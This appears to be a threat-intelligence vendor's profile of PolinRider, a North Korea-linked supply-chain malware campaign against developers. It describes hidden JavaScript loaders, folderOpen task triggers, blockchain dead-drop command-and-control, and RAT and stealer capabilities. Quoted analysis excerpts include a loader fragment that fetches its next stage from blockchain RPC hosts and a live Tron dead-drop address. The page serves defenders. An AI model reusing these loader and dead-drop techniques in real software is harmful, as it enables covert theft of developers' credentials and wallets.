Loading malware…
PolinRider is a North Korea-linked software supply-chain malware campaign associated with Lazarus Group activity and commonly clustered with Contagious Interview, with overlaps to TasksJacker tradecraft. It targets software developers and developer-adjacent environments by compromising legitimate GitHub accounts and repositories, tampering with open-source packages and extensions, and embedding obfuscated JavaScript loaders into trusted project files and published artifacts. Observed ecosystems include GitHub-hosted projects, npm, Go modules, Packagist, Chrome extensions, and related developer tooling workflows.
The malware is characterized by import-time or build-time execution rather than relying solely on package installation hooks. Observed delivery patterns include malicious code appended to JavaScript configuration files, fake font assets containing executable JavaScript, malicious dependencies, and Visual Studio Code task configurations that trigger code execution when a folder is opened. In some cases, malicious pull requests were used to place payloads into build configuration files so that routine development commands executed the implant automatically.
A defining feature of PolinRider is its multi-stage loader architecture that retrieves encrypted payload material through public blockchain infrastructure, notably using TRON, Aptos, and BNB Smart Chain as dead-drop or relay mechanisms. The loader decrypts retrieved stages with embedded XOR keys and executes them dynamically, often with eval, and may also spawn detached Node.js child processes as a fallback or persistence mechanism. This design allows operators to rotate downstream payloads without republishing the initial package or repository implant.
Recovered later-stage payloads attributed to the campaign include a Node.js remote-access trojan with Socket.IO-based command and control and associated stealer functionality reported as overlapping with BeaverTail, InvisibleFerret, DEV#POPPER, and OmniStealer-related tooling. Documented capabilities include host fingerprinting, remote command execution, file management, clipboard access, credential and browser-data theft, wallet-related data theft, and exfiltration of developer secrets and local application data. Some variants also modify developer-tool files to maintain persistence across environments.
PolinRider has been observed at scale across thousands of compromised repositories, with victimology heavily concentrated on individual developer accounts rather than large organizations, consistent with targeting of job-seeking developers and cryptocurrency-adjacent personnel. The campaign also employs defense-evasion measures such as heavy JavaScript obfuscation, hidden payload placement in source files, force-pushed and backdated commits, and Git history rewriting to conceal tampering and frustrate repository-based detection.
Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.
2 distinct threat actors attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.
OpenSourceMalware’s PolinRider reporting describes the same loader architecture as culminating in a DPRK BeaverTail variant and repository-propagation backdoor/infostealer behavior.
29 distinct techniques documented for this family, organized by ATT&CK tactic.
the malware still... spreads through the victims’ own GitHub accounts... Review your GitHub account for unauthorized pushes — the campaign spreads by pushing the payload back out through victim accounts.
The attack targeted a legitimate package scope... The attacker published through the existing scope rather than typosquatting a new one, using the beta dist-tag to avoid overwriting the latest version.
It's careful work: they pulled together nine malicious packages, a 77KB remote access trojan (RAT) ... Here's a chronological look at the typosquatted packages.
Audit persistence: SSH authorized_keys , crontabs, launchd agents (macOS), systemd services (Linux), and scheduled tasks (Windows).
A Windows script rewrites git history to hide the tampering... temp_auto_push.bat still rewrites the latest commit... bypasses pre-commit hooks with --no-verify , and force-pushes to erase the evidence.
.vscode/tasks.json with a runOn: folderOpen trigger that curl-pipes a shell command the instant a victim opens the project.
The fully deobfuscated stage 1 loader is in the appendix below... then runs a blockchain C2 fetch with XOR decryption and eval().
Audit persistence: SSH authorized_keys , crontabs, launchd agents (macOS), systemd services (Linux), and scheduled tasks (Windows).
The obfuscation uses three layers of character-shuffling functions to hide a call to the Function constructor... then passed to Function() to construct the loader.
Two npm beta releases in the @joyfill namespace contain an import-time JavaScript implant that resolves encrypted code through Tron, Aptos, and BNB Smart Chain transactions.
ChainVeil's packages (tailwindcss-merge, tailwindcss-animates-kit, clsx-tailwind) ... typosquat the same narrow slice of the Tailwind and Vite tooling namespace.
Four weeks later, on July 14, they followed up with a sequel on "ViteVenom," seven typosquats targeting the Vite ecosystem.
The fallback C2 path adds persistence: if the primary eval() fails, the payload is launched as a detached node -e child process with windowsHide: true and stdio: 'ignore'
A Windows script rewrites git history to hide the tampering, making it look like a normal commit... temp_auto_push.bat still rewrites the latest commit to preserve its original timestamp... and force-pushes to erase the evidence.
the malware still... spreads through the victims’ own GitHub accounts... Review your GitHub account for unauthorized pushes — the campaign spreads by pushing the payload back out through victim accounts.
The loader still resolves its second stage from blockchain dead-drops across TRON, Aptos, and BNB Smart Chain, decrypts it with embedded XOR keys...
Try Tron first... catch (e) { // Fallback to Aptos ... } ... try { txInput = await fetchFromBSC('bsc-dataseed.binance.org'); ... } catch (e) { txInput = await fetchFromBSC('bsc-rpc.publicnode.com'); }
"Joyfill npm Packages Compromised with Blockchain C2 Loader"
The C2 resolution chain is identical... Tron ... The result is a BSC transaction hash. BSC ... decode ... XOR decrypt with the hardcoded key and eval().
The blockchain dead drop (still live) ... Tron: Query TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP ... The result is a BSC transaction hash.
The full chain is therefore: npm bundle → Tron A → BSC → stage 2 → Tron B → BSC → stage 3 (bot client).
44 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.
IPs, domains, and DNS infrastructure linked to this family.
File hashes (MD5, SHA-1, SHA-256) from samples and reports.
Other indicator types observed in public reporting.
18 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
A named loader associated with a supply-chain compromise of Joyfill npm packages and described as using blockchain-based command-and-control.
A blockchain-backed JavaScript loader family that resolves staged payloads via Tron, Aptos, and BNB Smart Chain transaction data, then decrypts and evaluates the next stage.
A multi-stage blockchain-backed malware chain delivered via compromised npm packages. It uses Tron/BSC/Aptos dead drops, XOR decryption, eval-based execution, campaign-aware C2 routing, and ultimately delivers a RAT bot client. The loader can also spawn a detached node child process for persistence.
Named campaign-associated malware/tool family referenced as the campaign umbrella for ChainVeil and ViteVenom.
Match every observed IP, domain, and hash against your live telemetry.
Named campaigns wielding this family, with evidence pinned to each claim.
CVEs this family uses for access and lateral movement.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Every documented technique, ranked by evidence weight.
Reddit, Mastodon, and CTI community discussion around this family.